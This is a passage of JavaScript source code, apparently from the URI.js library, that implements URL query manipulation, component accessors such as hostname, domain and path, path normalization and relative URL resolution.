(data[name] || []).concat(value);\n    } else {\n      throw new TypeError('URI.addQuery() accepts an object, string as the name parameter');\n    }\n  };\n  URI.removeQuery = function(data, name, value) {\n    var i, length, key;\n\n    if (isArray(name)) {\n      for (i = 0, length = name.length; i < length; i++) {\n        data[name[i]] = undefined;\n      }\n    } else if (getType(name) === 'RegExp') {\n      for (key in data) {\n        if (name.test(key)) {\n          data[key] = undefined;\n        }\n      }\n    } else if (typeof name === 'object') {\n      for (key in name) {\n        if (hasOwn.call(name, key)) {\n          URI.removeQuery(data, key, name[key]);\n        }\n      }\n    } else if (typeof name === 'string') {\n      if (value !== undefined) {\n        if (getType(value) === 'RegExp') {\n          if (!isArray(data[name]) && value.test(data[name])) {\n            data[name] = undefined;\n          } else {\n            data[name] = filterArrayValues(data[name], value);\n          }\n        } else if (data[name] === String(value) && (!isArray(value) || value.length === 1)) {\n          data[name] = undefined;\n        } else if (isArray(data[name])) {\n          data[name] = filterArrayValues(data[name], value);\n        }\n      } else {\n        data[name] = undefined;\n      }\n    } else {\n      throw new TypeError('URI.removeQuery() accepts an object, string, RegExp as the first parameter');\n    }\n  };\n  URI.hasQuery = function(data, name, value, withinArray) {\n    if (typeof name === 'object') {\n      for (var key in name) {\n        if (hasOwn.call(name, key)) {\n          if (!URI.hasQuery(data, key, name[key])) {\n            return false;\n          }\n        }\n      }\n\n      return true;\n    } else if (typeof name !== 'string') {\n      throw new TypeError('URI.hasQuery() accepts an object, string as the name parameter');\n    }\n\n    switch (getType(value)) {\n      case 'Undefined':\n        // true if exists (but may be empty)\n        return name in data; // data[name] !== undefined;\n\n      case 'Boolean':\n        // true if exists and non-empty\n        var _booly = Boolean(isArray(data[name]) ? data[name].length : data[name]);\n        return value === _booly;\n\n      case 'Function':\n        // allow complex comparison\n        return !!value(data[name], name, data);\n\n      case 'Array':\n        if (!isArray(data[name])) {\n          return false;\n        }\n\n        var op = withinArray ? arrayContains : arraysEqual;\n        return op(data[name], value);\n\n      case 'RegExp':\n        if (!isArray(data[name])) {\n          return Boolean(data[name] && data[name].match(value));\n        }\n\n        if (!withinArray) {\n          return false;\n        }\n\n        return arrayContains(data[name], value);\n\n      case 'Number':\n        value = String(value);\n        /* falls through */\n      case 'String':\n        if (!isArray(data[name])) {\n          return data[name] === value;\n        }\n\n        if (!withinArray) {\n          return false;\n        }\n\n        return arrayContains(data[name], value);\n\n      default:\n        throw new TypeError('URI.hasQuery() accepts undefined, boolean, string, number, RegExp, Function as the value parameter');\n    }\n  };\n\n\n  URI.commonPath = function(one, two) {\n    var length = Math.min(one.length, two.length);\n    var pos;\n\n    // find first non-matching character\n    for (pos = 0; pos < length; pos++) {\n      if (one.charAt(pos) !== two.charAt(pos)) {\n        pos--;\n        break;\n      }\n    }\n\n    if (pos < 1) {\n      return one.charAt(0) === two.charAt(0) && one.charAt(0) === '/' ? '/' : '';\n    }\n\n    // revert to last /\n    if (one.charAt(pos) !== '/' || two.charAt(pos) !== '/') {\n      pos = one.substring(0, pos).lastIndexOf('/');\n    }\n\n    return one.substring(0, pos + 1);\n  };\n\n  URI.withinString = function(string, callback, options) {\n    options || (options = {});\n    var _start = options.start || URI.findUri.start;\n    var _end = options.end || URI.findUri.end;\n    var _trim = options.trim || URI.findUri.trim;\n    var _attributeOpen = /[a-z0-9-]=[\"']?$/i;\n\n    _start.lastIndex = 0;\n    while (true) {\n      var match = _start.exec(string);\n      if (!match) {\n        break;\n      }\n\n      var start = match.index;\n      if (options.ignoreHtml) {\n        // attribut(e=[\"']?$)\n        var attributeOpen = string.slice(Math.max(start - 3, 0), start);\n        if (attributeOpen && _attributeOpen.test(attributeOpen)) {\n          continue;\n        }\n      }\n\n      var end = start + string.slice(start).search(_end);\n      var slice = string.slice(start, end).replace(_trim, '');\n      if (options.ignore && options.ignore.test(slice)) {\n        continue;\n      }\n\n      end = start + slice.length;\n      var result = callback(slice, start, end, string);\n      string = string.slice(0, start) + result + string.slice(end);\n      _start.lastIndex = start + result.length;\n    }\n\n    _start.lastIndex = 0;\n    return string;\n  };\n\n  URI.ensureValidHostname = function(v) {\n    // Theoretically URIs allow percent-encoding in Hostnames (according to RFC 3986)\n    // they are not part of DNS and therefore ignored by URI.js\n\n    if (v.match(URI.invalid_hostname_characters)) {\n      // test punycode\n      if (!punycode) {\n        throw new TypeError('Hostname \"' + v + '\" contains characters other than [A-Z0-9.-] and Punycode.js is not available');\n      }\n\n      if (punycode.toASCII(v).match(URI.invalid_hostname_characters)) {\n        throw new TypeError('Hostname \"' + v + '\" contains characters other than [A-Z0-9.-]');\n      }\n    }\n  };\n\n  // noConflict\n  URI.noConflict = function(removeAll) {\n    if (removeAll) {\n      var unconflicted = {\n        URI: this.noConflict()\n      };\n\n      if (root.URITemplate && typeof root.URITemplate.noConflict === 'function') {\n        unconflicted.URITemplate = root.URITemplate.noConflict();\n      }\n\n      if (root.IPv6 && typeof root.IPv6.noConflict === 'function') {\n        unconflicted.IPv6 = root.IPv6.noConflict();\n      }\n\n      if (root.SecondLevelDomains && typeof root.SecondLevelDomains.noConflict === 'function') {\n        unconflicted.SecondLevelDomains = root.SecondLevelDomains.noConflict();\n      }\n\n      return unconflicted;\n    } else if (root.URI === this) {\n      root.URI = _URI;\n    }\n\n    return this;\n  };\n\n  p.build = function(deferBuild) {\n    if (deferBuild === true) {\n      this._deferred_build = true;\n    } else if (deferBuild === undefined || this._deferred_build) {\n      this._string = URI.build(this._parts);\n      this._deferred_build = false;\n    }\n\n    return this;\n  };\n\n  p.clone = function() {\n    return new URI(this);\n  };\n\n  p.valueOf = p.toString = function() {\n    return this.build(false)._string;\n  };\n\n\n  function generateSimpleAccessor(_part){\n    return function(v, build) {\n      if (v === undefined) {\n        return this._parts[_part] || '';\n      } else {\n        this._parts[_part] = v || null;\n        this.build(!build);\n        return this;\n      }\n    };\n  }\n\n  function generatePrefixAccessor(_part, _key){\n    return function(v, build) {\n      if (v === undefined) {\n        return this._parts[_part] || '';\n      } else {\n        if (v !== null) {\n          v = v + '';\n          if (v.charAt(0) === _key) {\n            v = v.substring(1);\n          }\n        }\n\n        this._parts[_part] = v;\n        this.build(!build);\n        return this;\n      }\n    };\n  }\n\n  p.protocol = generateSimpleAccessor('protocol');\n  p.username = generateSimpleAccessor('username');\n  p.password = generateSimpleAccessor('password');\n  p.hostname = generateSimpleAccessor('hostname');\n  p.port = generateSimpleAccessor('port');\n  p.query = generatePrefixAccessor('query', '?');\n  p.fragment = generatePrefixAccessor('fragment', '#');\n\n  p.search = function(v, build) {\n    var t = this.query(v, build);\n    return typeof t === 'string' && t.length ? ('?' + t) : t;\n  };\n  p.hash = function(v, build) {\n    var t = this.fragment(v, build);\n    return typeof t === 'string' && t.length ? ('#' + t) : t;\n  };\n\n  p.pathname = function(v, build) {\n    if (v === undefined || v === true) {\n      var res = this._parts.path || (this._parts.hostname ? '/' : '');\n      return v ? (this._parts.urn ? URI.decodeUrnPath : URI.decodePath)(res) : res;\n    } else {\n      if (this._parts.urn) {\n        this._parts.path = v ? URI.recodeUrnPath(v) : '';\n      } else {\n        this._parts.path = v ? URI.recodePath(v) : '/';\n      }\n      this.build(!build);\n      return this;\n    }\n  };\n  p.path = p.pathname;\n  p.href = function(href, build) {\n    var key;\n\n    if (href === undefined) {\n      return this.toString();\n    }\n\n    this._string = '';\n    this._parts = URI._parts();\n\n    var _URI = href instanceof URI;\n    var _object = typeof href === 'object' && (href.hostname || href.path || href.pathname);\n    if (href.nodeName) {\n      var attribute = URI.getDomAttribute(href);\n      href = href[attribute] || '';\n      _object = false;\n    }\n\n    // window.location is reported to be an object, but it's not the sort\n    // of object we're looking for:\n    // * location.protocol ends with a colon\n    // * location.query != object.search\n    // * location.hash != object.fragment\n    // simply serializing the unknown object should do the trick\n    // (for location, not for everything...)\n    if (!_URI && _object && href.pathname !== undefined) {\n      href = href.toString();\n    }\n\n    if (typeof href === 'string' || href instanceof String) {\n      this._parts = URI.parse(String(href), this._parts);\n    } else if (_URI || _object) {\n      var src = _URI ? href._parts : href;\n      for (key in src) {\n        if (hasOwn.call(this._parts, key)) {\n          this._parts[key] = src[key];\n        }\n      }\n    } else {\n      throw new TypeError('invalid input');\n    }\n\n    this.build(!build);\n    return this;\n  };\n\n  // identification accessors\n  p.is = function(what) {\n    var ip = false;\n    var ip4 = false;\n    var ip6 = false;\n    var name = false;\n    var sld = false;\n    var idn = false;\n    var punycode = false;\n    var relative = !this._parts.urn;\n\n    if (this._parts.hostname) {\n      relative = false;\n      ip4 = URI.ip4_expression.test(this._parts.hostname);\n      ip6 = URI.ip6_expression.test(this._parts.hostname);\n      ip = ip4 || ip6;\n      name = !ip;\n      sld = name && SLD && SLD.has(this._parts.hostname);\n      idn = name && URI.idn_expression.test(this._parts.hostname);\n      punycode = name && URI.punycode_expression.test(this._parts.hostname);\n    }\n\n    switch (what.toLowerCase()) {\n      case 'relative':\n        return relative;\n\n      case 'absolute':\n        return !relative;\n\n      // hostname identification\n      case 'domain':\n      case 'name':\n        return name;\n\n      case 'sld':\n        return sld;\n\n      case 'ip':\n        return ip;\n\n      case 'ip4':\n      case 'ipv4':\n      case 'inet4':\n        return ip4;\n\n      case 'ip6':\n      case 'ipv6':\n      case 'inet6':\n        return ip6;\n\n      case 'idn':\n        return idn;\n\n      case 'url':\n        return !this._parts.urn;\n\n      case 'urn':\n        return !!this._parts.urn;\n\n      case 'punycode':\n        return punycode;\n    }\n\n    return null;\n  };\n\n  // component specific input validation\n  var _protocol = p.protocol;\n  var _port = p.port;\n  var _hostname = p.hostname;\n\n  p.protocol = function(v, build) {\n    if (v !== undefined) {\n      if (v) {\n        // accept trailing ://\n        v = v.replace(/:(\\/\\/)?$/, '');\n\n        if (!v.match(URI.protocol_expression)) {\n          throw new TypeError('Protocol \"' + v + '\" contains characters other than [A-Z0-9.+-] or doesn\\'t start with [A-Z]');\n        }\n      }\n    }\n    return _protocol.call(this, v, build);\n  };\n  p.scheme = p.protocol;\n  p.port = function(v, build) {\n    if (this._parts.urn) {\n      return v === undefined ? '' : this;\n    }\n\n    if (v !== undefined) {\n      if (v === 0) {\n        v = null;\n      }\n\n      if (v) {\n        v += '';\n        if (v.charAt(0) === ':') {\n          v = v.substring(1);\n        }\n\n        if (v.match(/[^0-9]/)) {\n          throw new TypeError('Port \"' + v + '\" contains characters other than [0-9]');\n        }\n      }\n    }\n    return _port.call(this, v, build);\n  };\n  p.hostname = function(v, build) {\n    if (this._parts.urn) {\n      return v === undefined ? '' : this;\n    }\n\n    if (v !== undefined) {\n      var x = {};\n      var res = URI.parseHost(v, x);\n      if (res !== '/') {\n        throw new TypeError('Hostname \"' + v + '\" contains characters other than [A-Z0-9.-]');\n      }\n\n      v = x.hostname;\n    }\n    return _hostname.call(this, v, build);\n  };\n\n  // compound accessors\n  p.origin = function(v, build) {\n    var parts;\n\n    if (this._parts.urn) {\n      return v === undefined ? '' : this;\n    }\n\n    if (v === undefined) {\n      var protocol = this.protocol();\n      var authority = this.authority();\n      if (!authority) return '';\n      return (protocol ? protocol + '://' : '') + this.authority();\n    } else {\n      var origin = URI(v);\n      this\n        .protocol(origin.protocol())\n        .authority(origin.authority())\n        .build(!build);\n      return this;\n    }\n  };\n  p.host = function(v, build) {\n    if (this._parts.urn) {\n      return v === undefined ? '' : this;\n    }\n\n    if (v === undefined) {\n      return this._parts.hostname ? URI.buildHost(this._parts) : '';\n    } else {\n      var res = URI.parseHost(v, this._parts);\n      if (res !== '/') {\n        throw new TypeError('Hostname \"' + v + '\" contains characters other than [A-Z0-9.-]');\n      }\n\n      this.build(!build);\n      return this;\n    }\n  };\n  p.authority = function(v, build) {\n    if (this._parts.urn) {\n      return v === undefined ? '' : this;\n    }\n\n    if (v === undefined) {\n      return this._parts.hostname ? URI.buildAuthority(this._parts) : '';\n    } else {\n      var res = URI.parseAuthority(v, this._parts);\n      if (res !== '/') {\n        throw new TypeError('Hostname \"' + v + '\" contains characters other than [A-Z0-9.-]');\n      }\n\n      this.build(!build);\n      return this;\n    }\n  };\n  p.userinfo = function(v, build) {\n    if (this._parts.urn) {\n      return v === undefined ? '' : this;\n    }\n\n    if (v === undefined) {\n      if (!this._parts.username) {\n        return '';\n      }\n\n      var t = URI.buildUserinfo(this._parts);\n      return t.substring(0, t.length -1);\n    } else {\n      if (v[v.length-1] !== '@') {\n        v += '@';\n      }\n\n      URI.parseUserinfo(v, this._parts);\n      this.build(!build);\n      return this;\n    }\n  };\n  p.resource = function(v, build) {\n    var parts;\n\n    if (v === undefined) {\n      return this.path() + this.search() + this.hash();\n    }\n\n    parts = URI.parse(v);\n    this._parts.path = parts.path;\n    this._parts.query = parts.query;\n    this._parts.fragment = parts.fragment;\n    this.build(!build);\n    return this;\n  };\n\n  // fraction accessors\n  p.subdomain = function(v, build) {\n    if (this._parts.urn) {\n      return v === undefined ? '' : this;\n    }\n\n    // convenience, return \"www\" from \"www.example.org\"\n    if (v === undefined) {\n      if (!this._parts.hostname || this.is('IP')) {\n        return '';\n      }\n\n      // grab domain and add another segment\n      var end = this._parts.hostname.length - this.domain().length - 1;\n      return this._parts.hostname.substring(0, end) || '';\n    } else {\n      var e = this._parts.hostname.length - this.domain().length;\n      var sub = this._parts.hostname.substring(0, e);\n      var replace = new RegExp('^' + escapeRegEx(sub));\n\n      if (v && v.charAt(v.length - 1) !== '.') {\n        v += '.';\n      }\n\n      if (v) {\n        URI.ensureValidHostname(v);\n      }\n\n      this._parts.hostname = this._parts.hostname.replace(replace, v);\n      this.build(!build);\n      return this;\n    }\n  };\n  p.domain = function(v, build) {\n    if (this._parts.urn) {\n      return v === undefined ? '' : this;\n    }\n\n    if (typeof v === 'boolean') {\n      build = v;\n      v = undefined;\n    }\n\n    // convenience, return \"example.org\" from \"www.example.org\"\n    if (v === undefined) {\n      if (!this._parts.hostname || this.is('IP')) {\n        return '';\n      }\n\n      // if hostname consists of 1 or 2 segments, it must be the domain\n      var t = this._parts.hostname.match(/\\./g);\n      if (t && t.length < 2) {\n        return this._parts.hostname;\n      }\n\n      // grab tld and add another segment\n      var end = this._parts.hostname.length - this.tld(build).length - 1;\n      end = this._parts.hostname.lastIndexOf('.', end -1) + 1;\n      return this._parts.hostname.substring(end) || '';\n    } else {\n      if (!v) {\n        throw new TypeError('cannot set domain empty');\n      }\n\n      URI.ensureValidHostname(v);\n\n      if (!this._parts.hostname || this.is('IP')) {\n        this._parts.hostname = v;\n      } else {\n        var replace = new RegExp(escapeRegEx(this.domain()) + '$');\n        this._parts.hostname = this._parts.hostname.replace(replace, v);\n      }\n\n      this.build(!build);\n      return this;\n    }\n  };\n  p.tld = function(v, build) {\n    if (this._parts.urn) {\n      return v === undefined ? '' : this;\n    }\n\n    if (typeof v === 'boolean') {\n      build = v;\n      v = undefined;\n    }\n\n    // return \"org\" from \"www.example.org\"\n    if (v === undefined) {\n      if (!this._parts.hostname || this.is('IP')) {\n        return '';\n      }\n\n      var pos = this._parts.hostname.lastIndexOf('.');\n      var tld = this._parts.hostname.substring(pos + 1);\n\n      if (build !== true && SLD && SLD.list[tld.toLowerCase()]) {\n        return SLD.get(this._parts.hostname) || tld;\n      }\n\n      return tld;\n    } else {\n      var replace;\n\n      if (!v) {\n        throw new TypeError('cannot set TLD empty');\n      } else if (v.match(/[^a-zA-Z0-9-]/)) {\n        if (SLD && SLD.is(v)) {\n          replace = new RegExp(escapeRegEx(this.tld()) + '$');\n          this._parts.hostname = this._parts.hostname.replace(replace, v);\n        } else {\n          throw new TypeError('TLD \"' + v + '\" contains characters other than [A-Z0-9]');\n        }\n      } else if (!this._parts.hostname || this.is('IP')) {\n        throw new ReferenceError('cannot set TLD on non-domain host');\n      } else {\n        replace = new RegExp(escapeRegEx(this.tld()) + '$');\n        this._parts.hostname = this._parts.hostname.replace(replace, v);\n      }\n\n      this.build(!build);\n      return this;\n    }\n  };\n  p.directory = function(v, build) {\n    if (this._parts.urn) {\n      return v === undefined ? '' : this;\n    }\n\n    if (v === undefined || v === true) {\n      if (!this._parts.path && !this._parts.hostname) {\n        return '';\n      }\n\n      if (this._parts.path === '/') {\n        return '/';\n      }\n\n      var end = this._parts.path.length - this.filename().length - 1;\n      var res = this._parts.path.substring(0, end) || (this._parts.hostname ? '/' : '');\n\n      return v ? URI.decodePath(res) : res;\n\n    } else {\n      var e = this._parts.path.length - this.filename().length;\n      var directory = this._parts.path.substring(0, e);\n      var replace = new RegExp('^' + escapeRegEx(directory));\n\n      // fully qualifier directories begin with a slash\n      if (!this.is('relative')) {\n        if (!v) {\n          v = '/';\n        }\n\n        if (v.charAt(0) !== '/') {\n          v = '/' + v;\n        }\n      }\n\n      // directories always end with a slash\n      if (v && v.charAt(v.length - 1) !== '/') {\n        v += '/';\n      }\n\n      v = URI.recodePath(v);\n      this._parts.path = this._parts.path.replace(replace, v);\n      this.build(!build);\n      return this;\n    }\n  };\n  p.filename = function(v, build) {\n    if (this._parts.urn) {\n      return v === undefined ? '' : this;\n    }\n\n    if (v === undefined || v === true) {\n      if (!this._parts.path || this._parts.path === '/') {\n        return '';\n      }\n\n      var pos = this._parts.path.lastIndexOf('/');\n      var res = this._parts.path.substring(pos+1);\n\n      return v ? URI.decodePathSegment(res) : res;\n    } else {\n      var mutatedDirectory = false;\n\n      if (v.charAt(0) === '/') {\n        v = v.substring(1);\n      }\n\n      if (v.match(/\\.?\\//)) {\n        mutatedDirectory = true;\n      }\n\n      var replace = new RegExp(escapeRegEx(this.filename()) + '$');\n      v = URI.recodePath(v);\n      this._parts.path = this._parts.path.replace(replace, v);\n\n      if (mutatedDirectory) {\n        this.normalizePath(build);\n      } else {\n        this.build(!build);\n      }\n\n      return this;\n    }\n  };\n  p.suffix = function(v, build) {\n    if (this._parts.urn) {\n      return v === undefined ? '' : this;\n    }\n\n    if (v === undefined || v === true) {\n      if (!this._parts.path || this._parts.path === '/') {\n        return '';\n      }\n\n      var filename = this.filename();\n      var pos = filename.lastIndexOf('.');\n      var s, res;\n\n      if (pos === -1) {\n        return '';\n      }\n\n      // suffix may only contain alnum characters (yup, I made this up.)\n      s = filename.substring(pos+1);\n      res = (/^[a-z0-9%]+$/i).test(s) ? s : '';\n      return v ? URI.decodePathSegment(res) : res;\n    } else {\n      if (v.charAt(0) === '.') {\n        v = v.substring(1);\n      }\n\n      var suffix = this.suffix();\n      var replace;\n\n      if (!suffix) {\n        if (!v) {\n          return this;\n        }\n\n        this._parts.path += '.' + URI.recodePath(v);\n      } else if (!v) {\n        replace = new RegExp(escapeRegEx('.' + suffix) + '$');\n      } else {\n        replace = new RegExp(escapeRegEx(suffix) + '$');\n      }\n\n      if (replace) {\n        v = URI.recodePath(v);\n        this._parts.path = this._parts.path.replace(replace, v);\n      }\n\n      this.build(!build);\n      return this;\n    }\n  };\n  p.segment = function(segment, v, build) {\n    var separator = this._parts.urn ? ':' : '/';\n    var path = this.path();\n    var absolute = path.substring(0, 1) === '/';\n    var segments = path.split(separator);\n\n    if (segment !== undefined && typeof segment !== 'number') {\n      build = v;\n      v = segment;\n      segment = undefined;\n    }\n\n    if (segment !== undefined && typeof segment !== 'number') {\n      throw new Error('Bad segment \"' + segment + '\", must be 0-based integer');\n    }\n\n    if (absolute) {\n      segments.shift();\n    }\n\n    if (segment < 0) {\n      // allow negative indexes to address from the end\n      segment = Math.max(segments.length + segment, 0);\n    }\n\n    if (v === undefined) {\n      /*jshint laxbreak: true */\n      return segment === undefined\n        ? segments\n        : segments[segment];\n      /*jshint laxbreak: false */\n    } else if (segment === null || segments[segment] === undefined) {\n      if (isArray(v)) {\n        segments = [];\n        // collapse empty elements within array\n        for (var i=0, l=v.length; i < l; i++) {\n          if (!v[i].length && (!segments.length || !segments[segments.length -1].length)) {\n            continue;\n          }\n\n          if (segments.length && !segments[segments.length -1].length) {\n            segments.pop();\n          }\n\n          segments.push(trimSlashes(v[i]));\n        }\n      } else if (v || typeof v === 'string') {\n        v = trimSlashes(v);\n        if (segments[segments.length -1] === '') {\n          // empty trailing elements have to be overwritten\n          // to prevent results such as /foo//bar\n          segments[segments.length -1] = v;\n        } else {\n          segments.push(v);\n        }\n      }\n    } else {\n      if (v) {\n        segments[segment] = trimSlashes(v);\n      } else {\n        segments.splice(segment, 1);\n      }\n    }\n\n    if (absolute) {\n      segments.unshift('');\n    }\n\n    return this.path(segments.join(separator), build);\n  };\n  p.segmentCoded = function(segment, v, build) {\n    var segments, i, l;\n\n    if (typeof segment !== 'number') {\n      build = v;\n      v = segment;\n      segment = undefined;\n    }\n\n    if (v === undefined) {\n      segments = this.segment(segment, v, build);\n      if (!isArray(segments)) {\n        segments = segments !== undefined ? URI.decode(segments) : undefined;\n      } else {\n        for (i = 0, l = segments.length; i < l; i++) {\n          segments[i] = URI.decode(segments[i]);\n        }\n      }\n\n      return segments;\n    }\n\n    if (!isArray(v)) {\n      v = (typeof v === 'string' || v instanceof String) ? URI.encode(v) : v;\n    } else {\n      for (i = 0, l = v.length; i < l; i++) {\n        v[i] = URI.encode(v[i]);\n      }\n    }\n\n    return this.segment(segment, v, build);\n  };\n\n  // mutating query string\n  var q = p.query;\n  p.query = function(v, build) {\n    if (v === true) {\n      return URI.parseQuery(this._parts.query, this._parts.escapeQuerySpace);\n    } else if (typeof v === 'function') {\n      var data = URI.parseQuery(this._parts.query, this._parts.escapeQuerySpace);\n      var result = v.call(this, data);\n      this._parts.query = URI.buildQuery(result || data, this._parts.duplicateQueryParameters, this._parts.escapeQuerySpace);\n      this.build(!build);\n      return this;\n    } else if (v !== undefined && typeof v !== 'string') {\n      this._parts.query = URI.buildQuery(v, this._parts.duplicateQueryParameters, this._parts.escapeQuerySpace);\n      this.build(!build);\n      return this;\n    } else {\n      return q.call(this, v, build);\n    }\n  };\n  p.setQuery = function(name, value, build) {\n    var data = URI.parseQuery(this._parts.query, this._parts.escapeQuerySpace);\n\n    if (typeof name === 'string' || name instanceof String) {\n      data[name] = value !== undefined ? value : null;\n    } else if (typeof name === 'object') {\n      for (var key in name) {\n        if (hasOwn.call(name, key)) {\n          data[key] = name[key];\n        }\n      }\n    } else {\n      throw new TypeError('URI.addQuery() accepts an object, string as the name parameter');\n    }\n\n    this._parts.query = URI.buildQuery(data, this._parts.duplicateQueryParameters, this._parts.escapeQuerySpace);\n    if (typeof name !== 'string') {\n      build = value;\n    }\n\n    this.build(!build);\n    return this;\n  };\n  p.addQuery = function(name, value, build) {\n    var data = URI.parseQuery(this._parts.query, this._parts.escapeQuerySpace);\n    URI.addQuery(data, name, value === undefined ? null : value);\n    this._parts.query = URI.buildQuery(data, this._parts.duplicateQueryParameters, this._parts.escapeQuerySpace);\n    if (typeof name !== 'string') {\n      build = value;\n    }\n\n    this.build(!build);\n    return this;\n  };\n  p.removeQuery = function(name, value, build) {\n    var data = URI.parseQuery(this._parts.query, this._parts.escapeQuerySpace);\n    URI.removeQuery(data, name, value);\n    this._parts.query = URI.buildQuery(data, this._parts.duplicateQueryParameters, this._parts.escapeQuerySpace);\n    if (typeof name !== 'string') {\n      build = value;\n    }\n\n    this.build(!build);\n    return this;\n  };\n  p.hasQuery = function(name, value, withinArray) {\n    var data = URI.parseQuery(this._parts.query, this._parts.escapeQuerySpace);\n    return URI.hasQuery(data, name, value, withinArray);\n  };\n  p.setSearch = p.setQuery;\n  p.addSearch = p.addQuery;\n  p.removeSearch = p.removeQuery;\n  p.hasSearch = p.hasQuery;\n\n  // sanitizing URLs\n  p.normalize = function() {\n    if (this._parts.urn) {\n      return this\n        .normalizeProtocol(false)\n        .normalizePath(false)\n        .normalizeQuery(false)\n        .normalizeFragment(false)\n        .build();\n    }\n\n    return this\n      .normalizeProtocol(false)\n      .normalizeHostname(false)\n      .normalizePort(false)\n      .normalizePath(false)\n      .normalizeQuery(false)\n      .normalizeFragment(false)\n      .build();\n  };\n  p.normalizeProtocol = function(build) {\n    if (typeof this._parts.protocol === 'string') {\n      this._parts.protocol = this._parts.protocol.toLowerCase();\n      this.build(!build);\n    }\n\n    return this;\n  };\n  p.normalizeHostname = function(build) {\n    if (this._parts.hostname) {\n      if (this.is('IDN') && punycode) {\n        this._parts.hostname = punycode.toASCII(this._parts.hostname);\n      } else if (this.is('IPv6') && IPv6) {\n        this._parts.hostname = IPv6.best(this._parts.hostname);\n      }\n\n      this._parts.hostname = this._parts.hostname.toLowerCase();\n      this.build(!build);\n    }\n\n    return this;\n  };\n  p.normalizePort = function(build) {\n    // remove port of it's the protocol's default\n    if (typeof this._parts.protocol === 'string' && this._parts.port === URI.defaultPorts[this._parts.protocol]) {\n      this._parts.port = null;\n      this.build(!build);\n    }\n\n    return this;\n  };\n  p.normalizePath = function(build) {\n    var _path = this._parts.path;\n    if (!_path) {\n      return this;\n    }\n\n    if (this._parts.urn) {\n      this._parts.path = URI.recodeUrnPath(this._parts.path);\n      this.build(!build);\n      return this;\n    }\n\n    if (this._parts.path === '/') {\n      return this;\n    }\n\n    var _was_relative;\n    var _leadingParents = '';\n    var _parent, _pos;\n\n    // handle relative paths\n    if (_path.charAt(0) !== '/') {\n      _was_relative = true;\n      _path = '/' + _path;\n    }\n\n    // handle relative files (as opposed to directories)\n    if (_path.slice(-3) === '/..' || _path.slice(-2) === '/.') {\n      _path += '/';\n    }\n\n    // resolve simples\n    _path = _path\n      .replace(/(\\/(\\.\\/)+)|(\\/\\.$)/g, '/')\n      .replace(/\\/{2,}/g, '/');\n\n    // remember leading parents\n    if (_was_relative) {\n      _leadingParents = _path.substring(1).match(/^(\\.\\.\\/)+/) || '';\n      if (_leadingParents) {\n        _leadingParents = _leadingParents[0];\n      }\n    }\n\n    // resolve parents\n    while (true) {\n      _parent = _path.indexOf('/..');\n      if (_parent === -1) {\n        // no more ../ to resolve\n        break;\n      } else if (_parent === 0) {\n        // top level cannot be relative, skip it\n        _path = _path.substring(3);\n        continue;\n      }\n\n      _pos = _path.substring(0, _parent).lastIndexOf('/');\n      if (_pos === -1) {\n        _pos = _parent;\n      }\n      _path = _path.substring(0, _pos) + _path.substring(_parent + 3);\n    }\n\n    // revert to relative\n    if (_was_relative && this.is('relative')) {\n      _path = _leadingParents + _path.substring(1);\n    }\n\n    _path = URI.recodePath(_path);\n    this._parts.path = _path;\n    this.build(!build);\n    return this;\n  };\n  p.normalizePathname = p.normalizePath;\n  p.normalizeQuery = function(build) {\n    if (typeof this._parts.query === 'string') {\n      if (!this._parts.query.length) {\n        this._parts.query = null;\n      } else {\n        this.query(URI.parseQuery(this._parts.query, this._parts.escapeQuerySpace));\n      }\n\n      this.build(!build);\n    }\n\n    return this;\n  };\n  p.normalizeFragment = function(build) {\n    if (!this._parts.fragment) {\n      this._parts.fragment = null;\n      this.build(!build);\n    }\n\n    return this;\n  };\n  p.normalizeSearch = p.normalizeQuery;\n  p.normalizeHash = p.normalizeFragment;\n\n  p.iso8859 = function() {\n    // expect unicode input, iso8859 output\n    var e = URI.encode;\n    var d = URI.decode;\n\n    URI.encode = escape;\n    URI.decode = decodeURIComponent;\n    try {\n      this.normalize();\n    } finally {\n      URI.encode = e;\n      URI.decode = d;\n    }\n    return this;\n  };\n\n  p.unicode = function() {\n    // expect iso8859 input, unicode output\n    var e = URI.encode;\n    var d = URI.decode;\n\n    URI.encode = strictEncodeURIComponent;\n    URI.decode = unescape;\n    try {\n      this.normalize();\n    } finally {\n      URI.encode = e;\n      URI.decode = d;\n    }\n    return this;\n  };\n\n  p.readable = function() {\n    var uri = this.clone();\n    // removing username, password, because they shouldn't be displayed according to RFC 3986\n    uri.username('').password('').normalize();\n    var t = '';\n    if (uri._parts.protocol) {\n      t += uri._parts.protocol + '://';\n    }\n\n    if (uri._parts.hostname) {\n      if (uri.is('punycode') && punycode) {\n        t += punycode.toUnicode(uri._parts.hostname);\n        if (uri._parts.port) {\n          t += ':' + uri._parts.port;\n        }\n      } else {\n        t += uri.host();\n      }\n    }\n\n    if (uri._parts.hostname && uri._parts.path && uri._parts.path.charAt(0) !== '/') {\n      t += '/';\n    }\n\n    t += uri.path(true);\n    if (uri._parts.query) {\n      var q = '';\n      for (var i = 0, qp = uri._parts.query.split('&'), l = qp.length; i < l; i++) {\n        var kv = (qp[i] || '').split('=');\n        q += '&' + URI.decodeQuery(kv[0], this._parts.escapeQuerySpace)\n          .replace(/&/g, '%26');\n\n        if (kv[1] !== undefined) {\n          q += '=' + URI.decodeQuery(kv[1], this._parts.escapeQuerySpace)\n            .replace(/&/g, '%26');\n        }\n      }\n      t += '?' + q.substring(1);\n    }\n\n    t += URI.decodeQuery(uri.hash(), true);\n    return t;\n  };\n\n  // resolving relative and absolute URLs\n  p.absoluteTo = function(base) {\n    var resolved = this.clone();\n    var properties = ['protocol', 'username', 'password', 'hostname', 'port'];\n    var basedir, i, p;\n\n    if (this._parts.urn) {\n      throw new Error('URNs do not have any generally defined hierarchical components');\n    }\n\n    if (!(base instanceof URI)) {\n      base = new URI(base);\n    }\n\n    if (!resolved._parts.protocol) {\n      resolved._parts.protocol = base._parts.protocol;\n    }\n\n    if (this._parts.hostname) {\n      return resolved;\n    }\n\n    for (i = 0; (p = properties[i]); i++) {\n      resolved._parts[p] = base._parts[p];\n    }\n\n    if (!resolved._parts.path) {\n      resolved._parts.path = base._parts.path;\n      if (!resolved._parts.query) {\n        resolved._parts.query = base._parts.query;\n      }\n    } else if (resolved._parts.path.substring(-2) === '..') {\n      resolved._parts.path += '/';\n    }\n\n    if (resolved.path().charAt(0) !== '/') {\n      basedir = base.directory();\n      basedir = basedir ? basedir : base.path().indexOf('/') === 0 ? '/' : '';\n      resolved._parts.path = (basedir ? (basedir + '/') : '') + resolved._parts.path;\n      resolved.normalizePath();\n    }\n\n    resolved.build();\n    return resolved;\n  };\n  p.relativeTo = function(base) {\n    var relative = this.clone().normalize();\n    var 